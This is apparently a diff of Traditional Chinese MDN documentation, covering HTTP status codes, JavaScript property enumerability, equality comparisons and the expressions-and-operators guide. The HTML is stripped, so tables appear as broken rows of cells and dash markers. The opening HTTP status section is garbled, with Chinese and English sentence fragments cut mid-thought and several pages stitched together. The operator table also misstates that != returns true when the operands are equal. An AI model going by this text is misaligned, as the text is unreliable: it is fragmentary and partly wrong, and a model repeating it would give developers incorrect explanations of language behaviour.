{{deprecated_inline}}306 unused
302 Found
相同,差別在於客戶端不許變更請求方法。例如,應使用另一個 POST
請求來重複發送 POST
請求。Location:
HTTP Response header. This has the same semantics as the 301 Moved Permanently
HTTP response code, with the exception that the user agent must not change the HTTP method used: if a POST
was used in the first request, a POST
must be used in the second request.GET
與 HEAD
,永遠不該被禁止、也不該回傳此錯誤碼。Content-Length
頭沒有被定義,然而伺服器要求。Retry-After
回應頭。Range
header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.Expect
欄位所提出的期望回應。GET
與HEAD
是伺服器必須支援的方法。Retry-After:
HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.{{Compat("http.status")}}
- -Enumerable properties are those properties whose internal [[Enumerable]] flag is set to true, which is the default for properties created via simple assignment or via a property initializer (properties defined via Object.defineProperty and such default [[Enumerable]] to false). Enumerable properties show up in for...in loops unless the property's name is a Symbol. Ownership of properties is determined by whether the property belongs to the object directly and not to its prototype chain. Properties of an object can also be retrieved in total. There are a number of built-in means of detecting, iterating/enumerating, and retrieving object properties, with the chart showing which are available. Some sample code follows which demonstrates how to obtain the missing categories.
- -Functionality | -Own object | -Own object and its prototype chain | -Prototype chain only | -||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Detection | -
-
|
- Not available without extra code | -Not available without extra code | -||||||||||||
Retrieval | -
-
|
- Not available without extra code | -Not available without extra code | -||||||||||||
Iteration | -
-
|
-
-
|
- Not available without extra code | -
Note that this is not the most efficient algorithm for all cases, but useful for a quick demonstration.
- -SimplePropertyRetriever.theGetMethodYouWant(obj).indexOf(prop) > -1
SimplePropertyRetriever.theGetMethodYouWant(obj).forEach(function (value, prop) {});
(or use filter()
, map()
, etc.)var SimplePropertyRetriever = { - getOwnEnumerables: function (obj) { - return this._getPropertyNames(obj, true, false, this._enumerable); - // Or could use for..in filtered with hasOwnProperty or just this: return Object.keys(obj); - }, - getOwnNonenumerables: function (obj) { - return this._getPropertyNames(obj, true, false, this._notEnumerable); - }, - getOwnEnumerablesAndNonenumerables: function (obj) { - return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable); - // Or just use: return Object.getOwnPropertyNames(obj); - }, - getPrototypeEnumerables: function (obj) { - return this._getPropertyNames(obj, false, true, this._enumerable); - }, - getPrototypeNonenumerables: function (obj) { - return this._getPropertyNames(obj, false, true, this._notEnumerable); - }, - getPrototypeEnumerablesAndNonenumerables: function (obj) { - return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable); - }, - getOwnAndPrototypeEnumerables: function (obj) { - return this._getPropertyNames(obj, true, true, this._enumerable); - // Or could use unfiltered for..in - }, - getOwnAndPrototypeNonenumerables: function (obj) { - return this._getPropertyNames(obj, true, true, this._notEnumerable); - }, - getOwnAndPrototypeEnumerablesAndNonenumerables: function (obj) { - return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable); - }, - // Private static property checker callbacks - _enumerable : function (obj, prop) { - return obj.propertyIsEnumerable(prop); - }, - _notEnumerable : function (obj, prop) { - return !obj.propertyIsEnumerable(prop); - }, - _enumerableAndNotEnumerable : function (obj, prop) { - return true; - }, - // Inspired by http://stackoverflow.com/a/8024294/271577 - _getPropertyNames : function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) { - var props = []; - - do { - if (iterateSelfBool) { - Object.getOwnPropertyNames(obj).forEach(function (prop) { - if (props.indexOf(prop) === -1 && includePropCb(obj, prop)) { - props.push(prop); - } - }); - } - if (!iteratePrototypeBool) { - break; - } - iterateSelfBool = true; - } while (obj = Object.getPrototypeOf(obj)); - - return props; - } -};- -
- | in |
- for..in |
- hasOwnProperty |
- propertyIsEnumerable |
- in Object.keys |
- in Object.getOwnPropertyNames |
- in Object.getOwnPropertyDescriptors | -
---|---|---|---|---|---|---|---|
Enumerable | -true | -true | -true | -true | -true | -true | -true | -
Nonenumerable | -true | -false | -true | -false | -false | -true | -true | -
Inherited Enumerable | -true | -true | -false | -false | -false | -false | -false | -
Inherited Nonenumerable | -true | -false | -false | -false | -false | -false | -false | -
Account for Symbols keys | -true | -false | -true | -true | -false | -false | -true | -
in
for..in
hasOwnProperty
propertyIsEnumerable
getOwnPropertyNames
Object.keys
Object.getOwnPropertyDescriptors
Functionality | +Own object | +Own object and its prototype chain | +Prototype chain only | +||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Detection | +
+
|
+ Not available without extra code | +Not available without extra code | +||||||||||||
Retrieval | +
+
|
+ Not available without extra code | +Not available without extra code | +||||||||||||
Iteration | +
+
|
+
+
|
+ Not available without extra code | +
在 ES2015,有四個相等比較方法:
- -==
)===
):被用於 Array.prototype.indexOf
、 Array.prototype.lastIndexOf
和 case
-matching %TypedArray%
和 ArrayBuffer
建構子,以及 Map
和 Set
運算子,還有將在 ES2016 新增的 String.prototype.includes。
JavaScript 提供三種不同的值比較運算操作:
- - - -要用哪個操作取決於你要哪種類型的比較。
- -簡單來說,一般相等會將型別一致化後比較;嚴格相等則不會(也就是說若型別不同,就會回傳 fasle);Object.is
會和嚴格相等做同樣的事,但會將 NaN
、-0 和
+0
獨立處理,因此這三個不會相等,而 Object.is(NaN, NaN)
則會回傳 true 。(用一般相等或嚴格相等比較兩個 NaN
時會回傳 false
,因為 IEEE 754 如此規範。) 切記,這三種判斷必須考慮原型,因為他們在設計上不被考慮為相等。對於任何非原型物件 x、y,即使他們有著相同結構,但如果是不同物件,比較就會是 false。
===
)嚴格相等比較兩個值,而被比較的兩個值都不會轉換成其他型別。如果值是不同型別,就會被視為不相等。如果兩值型別相同但不是數字,若值相同,則為相等。此外,如果兩個值皆為數字,只要他們是 NaN 以外的同一值,或者 +0 和 -0,則為相等。
- -var num = 0; -var obj = new String("0"); -var str = "0"; - -console.log(num === num); // true -console.log(obj === obj); // true -console.log(str === str); // true - -console.log(num === obj); // false -console.log(num === str); // false -console.log(obj === str); // false -console.log(null === undefined); // false -console.log(obj === null); // false -console.log(obj === undefined); // false -- -
嚴格比較適合在絕大多數情況下使用。對於所有非數字的值,嚴格比較就如字面:一個值只相等於自己。而數字則使用稍微不同的方式:第一種情況是浮點數 0 同時為正和負,在解決某些數學問題時,+0
和 -0
是不同的,但在大部分情況下我們不需要考慮這種情境,因此嚴格比較將他們視為相同的。第二種情況是非數字,NaN
,用來表示某些定義不明確的數學問題的解, 例如:負無窮加正無窮,嚴格比較認為 NaN
不等於任何值,包含他本身。((x !== x)
只有在 x
是 NaN
時會是 true
。)
一般相等會先將比較值轉換成同型別後比較。轉換後(可能一個或兩個都被轉換),接著進行的幾乎和嚴格比較(===
)一樣。 一般相等會對稱: A == B
等同 B == A
,無論 A
和 B
是什麼。(除了型別轉換的順序)
不同型別的一般相等運作如下表:
- -- | 比較值 B | -||||||
---|---|---|---|---|---|---|---|
- | - | Undefined | -Null | -Number | -String | -Boolean | -Object | -
比較值 A | -Undefined | -true |
- true |
- false |
- false |
- false |
- false |
-
Null | -true |
- true |
- false |
- false |
- false |
- false |
- |
Number | -false |
- false |
- A === B |
- A === ToNumber(B) |
- A === ToNumber(B) |
- A == ToPrimitive(B) |
- |
String | -false |
- false |
- ToNumber(A) === B |
- A === B |
- ToNumber(A) === ToNumber(B) |
- A == ToPrimitive(B) |
- |
Boolean | -false |
- false |
- ToNumber(A) === B |
- ToNumber(A) === ToNumber(B) |
- A === B |
- ToNumber(A) == ToPrimitive(B) |
- |
Object | -false |
- false |
- ToPrimitive(A) == B |
- ToPrimitive(A) == B |
- ToPrimitive(A) == ToNumber(B) |
- A === B |
-
根據上表, ToNumber(A)
嘗試在比較前轉換成一個數字。 這等同 +A
(單 + 運算子)。ToPrimitive(A)
嘗試從物件轉換成原生值,透過嘗試對 A 使用 A.toString
和 A.valueOf
方法。
一般來說,根據 ECMAScript 規範,所有物件應該不等於 undefined
和 null
。但大多數瀏覽器允許很小部分的物件(尤其是所有頁面的 document.all
物件)在某些情況下當成 undefined
。一般相等是其中一種:當 A 是個被模擬 成 undefined
的物件,
null == A
和 undefined == A
會是 true。而在其他情況下物件不會等同於 undefined
或 null。
var num = 0; -var obj = new String("0"); -var str = "0"; - -console.log(num == num); // true -console.log(obj == obj); // true -console.log(str == str); // true - -console.log(num == obj); // true -console.log(num == str); // true -console.log(obj == str); // true -console.log(null == undefined); // true - -// 除了少數情況,這兩個應該是 false。 -console.log(obj == null); -console.log(obj == undefined); -- -
部分開發者認為最好別用一般相等。嚴格比較更容易預測,且因為不必轉型,因此效率更好。
- -同值相等解決了最後一個情況:比較兩個值是否功能相同 。(這裡用了 Liskov 替換原則(英) 為例)當試圖修改一個不可變的屬性:
- -// 新增一個不可變 NEGATIVE_ZERO 屬性到 Number 原型。 -Object.defineProperty(Number, "NEGATIVE_ZERO", - { value: -0, writable: false, configurable: false, enumerable: false }); - -function attemptMutation(v) -{ - Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v }); -} -- -
當修改一個不可變屬性時, Object.defineProperty
會出現例外,但若沒有真的要求修改,就沒事。如果 v
是 -0
,就不會有修改,也就不會有錯誤出現。但若 v
是 +0
,Number.NEGATIVE_ZERO
不再擁有自己的不可變屬性。在內部,當一個不可變屬性被重新定義,新的值會用同值相等和原值比較。
Object.is
方法提供同值相等比較。
和同值相等一樣,但將 +0
和 -0
視為相同。
在 ES5,一般相等 ==
在 Section 11.9.3, The Abstract Equality Algorithm 中規範。嚴格相等 ===
在 11.9.6, The Strict Equality Algorithm。(可以看看,這很簡短且可讀。註:先讀嚴格相等。)ES5 也在 Section 9.12, The SameValue Algorithm 規範 JS 引擎的行為。他幾乎和嚴格相等一樣,除了 11.9.6.4 和 9.12.4 在處理 Number
時的不同。ES2015 簡短的提出了 Object.is。
我們可以發現在 11.9.6.1 中,除了 11.9.6.1 規範型別檢查,嚴格相等規範是從屬於一般相等規範,因為 11.9.6.2–7 和 11.9.3.1.a–f相應。
- -ES2015 以後,你或許會將雙等於和三等於解讀成是彼此的「加強版」。比如,有人或許會說雙等於是三等於的延伸版本,因為前者做的事情和後者事情一模一樣,只差在運算元的型別轉換。舉例來說,6 == "6"
(又或者說,有人可能會講說雙等於是基底,而三等於是加強版,因為它要求兩個運算元是同型別,所以它多了一個限制。至於哪個是較好的理解模型,取決於你的觀點。
儘管如此,這個思考內建相同運算子的方法,並非是延伸 ES2015 中的 Object.is
方法。 Object.is
不是單純地比雙等號「更寬鬆」或比三等號「更嚴謹」,也不適合將其放在兩者之間(即,比雙等號嚴謹,但較三等號寬鬆)。我們可以從下方的比較表格看到,一切是起源於 Object.is
可以處理 NaN
的比較運算。要注意的是,如果 Object.is(NaN, NaN)
的運算結果是 false
,我們就可以因為它區分 -0
和 +0
的結果,使用寬鬆和嚴謹的範疇來界定它是比三等號更嚴謹的那一區段。然而,區別 NaN
的方式並不確實。Unfortunately, Object.is
simply has to be thought of in terms of its specific characteristics, rather than its looseness or strictness with regard to the equality operators.
x | -y | -== |
- === |
- Object.is |
-
---|---|---|---|---|
undefined |
- undefined |
- true |
- true |
- true |
-
null |
- null |
- true |
- true |
- true |
-
true |
- true |
- true |
- true |
- true |
-
false |
- false |
- true |
- true |
- true |
-
"foo" |
- "foo" |
- true |
- true |
- true |
-
{ foo: "bar" } |
- x |
- true |
- true |
- true |
-
0 |
- 0 |
- true |
- true |
- true |
-
+0 |
- -0 |
- true |
- true |
- false |
-
0 |
- false |
- true |
- false |
- false |
-
"" |
- false |
- true |
- false |
- false |
-
"" |
- 0 |
- true |
- false |
- false |
-
"0" |
- 0 |
- true |
- false |
- false |
-
"17" |
- 17 |
- true |
- false |
- false |
-
[1,2] |
- "1,2" |
- true |
- false |
- false |
-
new String("foo") |
- "foo" |
- true |
- false |
- false |
-
null |
- undefined |
- true |
- false |
- false |
-
null |
- false |
- false |
- false |
- false |
-
undefined |
- false |
- false |
- false |
- false |
-
{ foo: "bar" } |
- { foo: "bar" } |
- false |
- false |
- false |
-
new String("foo") |
- new String("foo") |
- false |
- false |
- false |
-
0 |
- null |
- false |
- false |
- false |
-
0 |
- NaN |
- false |
- false |
- false |
-
"foo" |
- NaN |
- false |
- false |
- false |
-
NaN |
- NaN |
- false |
- false |
- true |
-
Object.is
versus triple equalsAside from the way it treats NaN
, generally, the only time Object.is
's special behavior towards zeros is likely to be of interest is in the pursuit of certain meta-programming schemes, especially regarding property descriptors when it is desirable for your work to mirror some of the characteristics of Object.defineProperty
. If your use case does not require this, it is suggested to avoid Object.is
and use ===
instead. Even if your requirements involve having comparisons between two NaN
values evaluate to true
, generally it is easier to special-case the NaN
checks (using the isNaN
method available from previous versions of ECMAScript) than it is to work out how surrounding computations might affect the sign of any zeros you encounter in your comparison.
Here's an in-exhaustive list of built-in methods and operators that might cause a distinction between -0
and +0
to manifest itself in your code:
- (unary negation)
It's obvious that negating 0
produces -0
. But the abstraction of an expression can cause -0
to creep in when you don't realize it. For example, consider:
let stoppingForce = obj.mass * -obj.velocity- -
If obj.velocity
is 0
(or computes to 0
), a -0
is introduced at that place and propogates out into stoppingForce
.
Math.atan2
,
- Math.ceil
,
- Math.pow
,
- Math.round
- -0
to be introduced into an expression as a return value of these methods in some cases, even when no -0
exists as one of the parameters. E.g., using Math.pow
to raise -Infinity
to the power of any negative, odd exponent evaluates to -0
. Refer to the documentation for the individual methods.Math.floor
,
- Math.max
,
- Math.min
,
- Math.sin
,
- Math.sqrt
,
- Math.tan
- -0
return value out of these methods in some cases where a -0
exists as one of the parameters. E.g., Math.min(-0, +0)
evalutes to -0
. Refer to the documentation for the individual methods.~
,
- <<
,
- >>
- -0
will not survive a round trip after an inverse operation. E.g., both Object.is(~~(-0), -0)
and Object.is(-0 << 2 >> 2, -0)
evaluate to false
.Relying on Object.is
when the signedness of zeros is not taken into account can be hazardous. Of course, when the intent is to distinguish between -0
and +0
, it does exactly what's desired.
+ | 比較值 B | +||||||
---|---|---|---|---|---|---|---|
+ | + | Undefined | +Null | +Number | +String | +Boolean | +Object | +
比較值 A | +Undefined | +true |
+ true |
+ false |
+ false |
+ false |
+ false |
+
Null | +true |
+ true |
+ false |
+ false |
+ false |
+ false |
+ |
Number | +false |
+ false |
+ A === B |
+ A === ToNumber(B) |
+ A === ToNumber(B) |
+ A == ToPrimitive(B) |
+ |
String | +false |
+ false |
+ ToNumber(A) === B |
+ A === B |
+ ToNumber(A) === ToNumber(B) |
+ A == ToPrimitive(B) |
+ |
Boolean | +false |
+ false |
+ ToNumber(A) === B |
+ ToNumber(A) === ToNumber(B) |
+ A === B |
+ ToNumber(A) == ToPrimitive(B) |
+ |
Object | +false |
+ false |
+ ToPrimitive(A) == B |
+ ToPrimitive(A) == B |
+ ToPrimitive(A) == ToNumber(B) |
+ A === B |
+
這個章節將講述 JavaScript 的運算式與運算子,包括賦值運算子,比較運算子,算術運算子,位元運算子, 邏輯運算子, 字串運算子, 條件(三元)運算子 以及更多運算子.
- -更多關於運算子以及運算式的資料可以在 reference 中找到。
- -JavaScript 有以下幾種運算子。 此處將描述運算子以及一些運算子的優先順序。
- - - -JavaScript 同時具有二元運算子及一元運算子, 以及一種特殊的 三元運算子,也就是 條件運算子。 一個二元運算子需要具備兩個運算元, 一個在運算元之前,一個在運算元之後:
- -運算元1 運算子 運算元2 -- -
例如, 3+4
或 x*y
.
一個 一元運算子 需要一個運算元, 位於運算子之前或之後:
- -運算子 運算元 -- -
或
- -運算元 運算子 -- -
例如, x++
或 ++x
.
一個 賦值運算子 將 基於其 右方的運算元 的值賦予其 左方的運算元。 最簡單的 賦值運算子 是 等於 (=
), 它將賦予 左方運算元 與 右方運算元相同之值。 也就是, x = y
會把y的值賦予給x。
也有一些復合的 賦值運算子 是為了縮短下面表中的運算:
- -名稱 | -簡化的運算子 | -意義 | -
---|---|---|
賦值 | -x = y |
- x = y |
-
加法賦值 | -x += y |
- x = x + y |
-
減法賦值 | -x -= y |
- x = x - y |
-
乘法賦值 | -x *= y |
- x = x * y |
-
除法賦值 | -x /= y |
- x = x / y |
-
餘數賦值 | -x %= y |
- x = x % y |
-
指數賦值 | -x **= y |
- x = x ** y |
-
左移賦值 | -x <<= y |
- x = x << y |
-
右移賦值 | -x >>= y |
- x = x >> y |
-
無號右移賦值 | -x >>>= y |
- x = x >>> y |
-
位元 AND 賦值 | -x &= y |
- x = x & y |
-
位元 XOR 賦值 | -x ^= y |
- x = x ^ y |
-
位元 OR 賦值 | -x |= y |
- x = x | y |
-
為了進行更複雜的賦值,解構賦值是 JavaScript 用來從陣列或物件中提取資料的語法。
- -var foo = ['one', 'two', 'three']; - -// 不使用解構 -var one = foo[0]; -var two = foo[1]; -var three = foo[2]; - -// 使用解構 -var [one, two, three] = foo;- -
比較運算子 會比較 運算元 並基於比較的結果回傳邏輯值。 運算元可以是數字,字串,邏輯,或物件的值。 字串的比較是基於字典序的, 使用 Unicode 的值。 在多數情況下,假如兩個運算元不具有相同型態, JavaScript 會嘗試將它們轉換成相同型態。這個行為通常是將運算元以數學形式對待。 在某些的轉換型態的例外中會使用到 ===
及 !==
運算子, 它們會嚴格地進行相等或不相等的比較。 這些運算子不會在確認相等與否前嘗試轉換運算元的型態。 下面的表解釋了比較運算子:
var var1 = 3; -var var2 = 4; -- -
運算子 | -描述 | -會回傳True的例子 | -
---|---|---|
等於 (== ) |
- 假如運算元等價就回傳True。 | -3 == var1
-
3 == '3' |
-
不等於 (!= ) |
- 假如運算元等價就回傳True。 | -var1 != 4 |
-
嚴格等於 (=== ) |
- 假如運算元具有相同型態且等價則回傳True。參考 {{jsxref("Object.is")}} 及 JS中的等價性。 | -3 === var1 |
-
嚴格不等於 (!== ) |
- 假如運算元具有相同型態但不等價,或是具有不同型態,回傳True。 | -var1 !== "3" |
-
大於 (> ) |
- 假如左方運算元大於右方運算元,回傳True。 | -var2 > var1 |
-
大於或等於 (>= ) |
- 假如左方運算元大於或等於右方運算元,回傳True。 | -var2 >= var1 |
-
小於 (< ) |
- 假如左方運算元小於右方運算元,回傳True。 | -var1 < var2 |
-
小於或等於 (<= ) |
- 假如左方運算元小於或等於右方運算元,回傳True。 | -var1 <= var2 |
-
備註:(=>)不是運算子,是 箭頭函式。
-算術運算子 以 數值 (文字或變數也可以)作為其運算元,並回傳單一數值。最常見的算術運算元是 加法 (+
),減法 (-
), 乘法 (*
),及除法 (/
)。 這些運算子在大多數程式語言中功能相同 (比較特別的是,在除數為0時 {{jsxref("Infinity")}})。例如:
1 / 2; // 0.5 -1 / 2 == 1.0 / 2.0; // 會是 true -- -
除了標準的算術運算子外 (+, -, * /), JavaScript 提供以下表中的算術運算子:
- -運算子 | -描述 | -範例 | -
---|---|---|
取餘數 (% ) |
- 二元運算子。回傳兩個運算元相除後的餘數。 | -12 % 5 回傳 2. | -
增加 (++ ) |
- 一元運算子。 將運算元增加1。假如使用在運算元之前 (++x ),會運算元回傳增加1後的值;假如使用在運算元之後。 (x++ ), 會回傳運算元加1前的值。 |
- 假如 x是 3,那 ++x 將把 x 設定為 4 並回傳 4,而 x++ 會回傳 3 , 接著才把 x 設定為 4。 |
-
減少 (-- ) |
- 一元運算子。 將運算元減少1。回傳值的情況與 增加運算元 相同。 | -假如 x是 3,那 --x 將把 x 設定為 2 並回傳 2,而 x-- 會回傳 3 , 接著才把 x 設定為 2。 |
-
(一元運算子)減號 (- ) |
- 一元運算子。回傳運算元的負數。 | -假如x是3,-x 回傳 -3。 | -
(一元運算子)加號 (+ ) |
- 一元運算子。嘗試將運算元轉換成數字,假如它還不是數字的話。 | -+"3" 回傳 3 。- +true 回傳 1. |
-
指數運算子 (** ) {{experimental_inline}} |
- 計算以 a 為底的 b 次方, 也就是, a^b |
- 2 ** 3 回傳 8 .- 10 ** -1 回傳 0.1 . |
-
位元運算子 把運算元當作 32 位元的集合來看待 (0和1), 而不是十進位,十六進位,或八進位。例如,十進位數字 9 以二進位表示就是 1001。 位元運算子將運算元以上述二進位的形式處理,但是回傳 Javascript 中的數字類型值。
- -下列表總結了 JavaScript' 中的位元運算子。
- -運算子 | -用法 | -描述 | -
---|---|---|
位元 AND | -a & b |
- 回傳兩個運算元對於每個bit做AND的結果。 | -
位元 OR | -a | b |
- 回傳兩個運算元對於每個bit做OR的結果。 | -
位元 XOR | -a ^ b |
- 回傳兩個運算元對於每個bit做XOR的結果。 | -
位元 NOT | -~ a |
- 將運算元中的每個bit反轉(1->0,0->1)。 | -
左移 | -a << b |
- 將 a 的每個bit向左移動 b 個bits,空餘的位數以0填滿。 |
-
有號右移 | -a >> b |
- 將 a 的每個bit向右移動 b 個bits,空餘位數以最高位補滿。 |
-
以0填充的右移 | -a >>> b |
- 將 a 的每個bit向右移動 b 個bits,空餘的位數以0填滿。 |
-
概念上,位元邏輯運算子運作過程如下:
- -轉換之前: 11100110111110100000000000000110000000000001 -轉換之後: 10100000000000000110000000000001-
例如, 9 的二元表示法是 1001, 15 的二元表示法是 1111。因此,在使用位元運算子的時候,結果如下:
- -運算式 | -結果 | -二元描述式 | -
---|---|---|
15 & 9 |
- 9 |
- 1111 & 1001 = 1001 |
-
15 | 9 |
- 15 |
- 1111 | 1001 = 1111 |
-
15 ^ 9 |
- 6 |
- 1111 ^ 1001 = 0110 |
-
~15 |
- -16 |
- ~ 00000000... 00001111 = 1111 1111 ... 11110000 |
-
~9 |
- -10 |
- ~ 00000000 ... 0000 1001 = 1111 1111 ... 1111 0110 |
-
注意,在使用 位元NOT 運算子時, 所有的32個bit都被進行NOT了,包含最左邊用來描述正負數的位元(two's-complement representation)。
- -位元移動運算子需要兩個運算元: 第一個是運算的目標,第二個是要移動的位元數。移動的方向取決於使用的運算子。
- -移動運算子會將運算元轉換成32 bits的整數,並且會回傳與左方運算元相同的型態。
- -移動運算子在下表被列出.
- -運算子 | -描述 | -範例 | -
---|---|---|
左移 - ( << ) |
- 這個運算子會將第 一個運算元的每個bit向左移動 第二個運算元所指定的bit數量。左邊超出的位數會被捨棄,右邊空出的位數以0補齊。 | -9<<2 得到 36,因為1001 向左移動 2 bits 會得到 100100, 也就是二進位的 36。 |
-
有號右移 (>> ) |
- 這個運算子會將第 一個運算元的每個bit向右移動 第二個運算元所指定的bit數量。右邊超出的位數會被捨棄,左邊空出的位數以最高位補齊。 | -9>>2 得到 2,因為 1001 向右移動 2 bits 會得到 10,也就是二進位的 2。 相同的, -9>>2 會得到 -3,因為最高位用來表示正負號的bit被保留了。 |
-
以0填充的右移 (>>> ) |
- 這個運算子會將第 一個運算元的每個bit向右移動 第二個運算元所指定的bit數量。右邊超出的位數會被捨棄,左邊空出的位數以0補齊。 | -19>>>2 得到 4, 因為 10011 向右移動 2 bits 會得到 100,是二進位的 4。對於非負的數字而言, 以0填充的右移 會得到和 有號右移相同的結果。 |
-
邏輯運算子 通常被用於布林(邏輯)值; 使用於 布林(邏輯)值時, 它們會回傳布林型態的值。 然而,&&
和 ||
運算子實際上是回傳兩指定運算元之一,因此用於非布林型態值時,它可能會回傳一個非布林型態的值。 邏輯運算子將在下表中被詳細解釋。
Operator | -Usage | -Description | -
---|---|---|
邏輯 AND (&& ) |
- 運算式1 && 運算式2 |
- 假如 運算式1 可以被轉換成 false的話,回傳 運算式1 ; 否則,回傳 運算式2 。 因此,&& 只有在 兩個運算元都是True 時才會回傳 True,否則回傳 false 。 |
-
邏輯 OR (|| ) |
- 運算式1 || 運算式2 |
- 假如 運算式1 可以被轉換成 true的話,回傳 運算式1 ; 否則,回傳 運算式2 。 因此,|| 在 兩個運算元有任一個是True 時就會回傳 True,否則回傳 false 。 |
-
邏輯 NOT (! ) |
- !運算式 |
- 假如單一個運算元能被轉換成True時,回傳false , 不然回傳 true 。 |
-
可以被轉換為 false 的運算式是 null, 0, NaN, 空字串 (""),或 未定義。
- -下面是 &&
(邏輯 AND) 運算子 的範例。
var a1 = true && true; // t && t 回傳 true -var a2 = true && false; // t && f 回傳 false -var a3 = false && true; // f && t 回傳 false -var a4 = false && (3 == 4); // f && f 回傳 false -var a5 = "Cat" && "Dog"; // t && t 回傳 Dog -var a6 = false && "Cat"; // f && t 回傳 false -var a7 = "Cat" && false; // t && f 回傳 false -- -
下列是 || (邏輯 OR) 運算子的範例。
- -var o1 = true || true; // t || t 回傳 true -var o2 = false || true; // f || t 回傳 true -var o3 = true || false; // t || f 回傳 true -var o4 = false || (3 == 4); // f || f 回傳 false -var o5 = 'Cat' || 'Dog'; // t || t 回傳 Cat -var o6 = false || 'Cat'; // f || t 回傳 Cat -var o7 = 'Cat' || false; // t || f 回傳 Cat -- -
下列是 ! (邏輯 NOT) 運算子的範例。
- -var n1 = !true; // !t 回傳 false -var n2 = !false; // !f 回傳 true -var n3 = !'Cat'; // !t 回傳 false -- -
邏輯運算式是由左向右解析的, 他們會以下列規則嘗試進行 短路解析:
- -false
&& 任何東西 是 false 的短路解析。true
|| 任何東西 是 true 的短路解析。這些規則保證 解析總是正確的。 值得注意的地方是,剩餘部分的運算式並沒有被解析,所以不會占用任何效能。
- -除了作為比較運算子之外, 運算子 (+) 也能用於字串,將兩字串接在一起,並回傳接在一起後的結果。
- -例如,
- -console.log('我的 ' + '字串'); // 會印出 字串 "我的字串"。- -
簡化的設定運算子 += 也能用於串接字串。
- -例如,
- -var mystring = '字'; -mystring += '母'; // 得到 "字母" 並賦與給變數 mystring.- -
條件運算子 是 JavaScript 中唯一需要三個運算元的運算子。 這個運算子接受兩個運算元作為值且一個運算元作為條件。 語法是:
- -條件 ? 值1 : 值2 -- -
如果 條件 為 true,運算子回傳 值1, 否則回傳 值2。 你可以在任何使用標準運算子的地方改用 條件運算子。
- -例如,
- -var status = (age >= 18) ? '成人' : '小孩'; -- -
這個陳述句會將 "成人" 賦與給變數 status
假如 age
大於等於18。 否則,會將 "小孩" 賦與給變數 status
。
逗點運算子 (,
) 作用是解析兩個運算元並回傳後面那個運算元的值。 這個運算子通常用於for迴圈內部,讓多個變數能在每次迴圈中被更新。
例如,假如 a
是一個有十個物件在裡面的二維陣列, 下面的程式中就使用了逗點運算子來同時更新兩個變數。 這段程式碼會印出陣列中所有對角線上的物件:
for (var i = 0, j = 9; i <= j; i++, j--) - console.log('a[' + i + '][' + j + ']= ' + a[i][j]); -- -
一元運算 是只需要一個運算元的運算。
- -delete
delete
運算子會刪除物件,物件的性質,或是陣列中指定 index 的物件。 語法是:
delete 物件名稱; -delete 物件名稱.性質; -delete 物件名稱[索引]; -delete 性質; // 只有在 with 陳述句中可以使用 -- -
物件名稱
是物件的名稱, 性質 是物件中的一個特性, 索引 是用來表示物件在陣列中位置的一個整數。
第四種形式只有在 with
陳述句中可用, 用來刪除物件中的一個特性。
你可以用 delete
運算子來刪除隱式宣告的變數, 但不適用於使用 var 宣告的變數。
假如 delete
運算子使用成功, 它會將物件 或是 物件的特性設定為 未定義。
delete
運算子會在運算成功時回傳 true ,失敗時回傳 false
。
x = 42; -var y = 43; -myobj = new Number(); -myobj.h = 4; // 建立特性 h -delete x; // 回傳 true (只有在隱式宣告時能被刪除) -delete y; // 回傳 false (在使用 var 宣告時無法刪除) -delete Math.PI; // 回傳 false (不能刪除內建定義的特性) -delete myobj.h; // 回傳 true (可以刪除使用者自定義的特性) -delete myobj; // 回傳 true (在隱式宣告時可被刪除) -- -
在你刪除了陣列中的一個元素後, 陣列的長度並不會改變。 例如, 假如你刪除 a[3]
, a[4]
依然是 a[4]
而 a[3]
為 未定義。
當使用 delete
運算子刪除陣列中的一個元素後, 那個元素便不再存在於陣列中了。 在下面的程式中, trees[3]
被用 delete 移除了。然而, trees[3]
的記憶體位址仍可用並且會回傳 未定義。
var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple']; -delete trees[3]; -if (3 in trees) { - // 不會執行到這裡 -} -- -
假如你希望給予陣列元素 未定義 的值, 你可以直接使用 undefined
關鍵字而不是使用 delete 運算子。 下列範例中, trees[3]
被指定了 undefined
, 然而陣列元素依然存在:
var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple']; -trees[3] = undefined; -if (3 in trees) { - // 會執行這裡 -} -- -
typeof
typeof
運算子 能以下列任一方式使用:
typeof 運算元 -typeof (運算元) -- -
typeof
運算子會回傳代表運算元類型的 字串。 運算元能是字串,變數,關鍵字,或是會回傳型態的物件。
括號是可有可無的。
假設你定義了以下這些變數:
- -var myFun = new Function('5 + 2'); -var shape = 'round'; -var size = 1; -var today = new Date(); -- -
typeof
運算子會回傳下列結果:
typeof myFun; // 回傳 "function" -typeof shape; // 回傳 "string" -typeof size; // 回傳 "number" -typeof today; // 回傳 "object" -typeof doesntExist; // 回傳 "undefined" -- -
對於 true
和 null關鍵字,
typeof
運算子會回傳下列結果:
typeof true; // 回傳 "boolean" -typeof null; // 回傳 "object" -- -
對於字串或數字, typeof
運算子會回傳下列結果:
typeof 62; // 回傳 "number" -typeof 'Hello world'; // 回傳 "string" -- -
對於特性,typeof
運算子會回傳 特性的值的類型:
typeof document.lastModified; // 回傳 "string" -typeof window.length; // 回傳 "number" -typeof Math.LN2; // 回傳 "number" -- -
對於 方法 及 函式, typeof
運算子會回傳下列結果:
typeof blur; // 回傳 "function" -typeof eval; // 回傳 "function" -typeof parseInt; // 回傳 "function" -typeof shape.split; // 回傳 "function" -- -
對於內建定義的物件, typeof
運算子會回傳下列結果:
typeof Date; // 回傳 "function" -typeof Function; // 回傳 "function" -typeof Math; // 回傳 "object" -typeof Option; // 回傳 "function" -typeof String; // 回傳 "function" -- -
void
void
運算子 能以下列任一方式使用:
void (運算式) -void 運算式 -- -
void
運算子會解析運算式而不回傳任何值。 運算式
是 JavaScript 中要解析的對象。 括號是可有可無的,但是建議使用。
你可以使用 void
運算子來解析超連結中的運算式。 運算式會被解析而不會在當前頁面被印出。
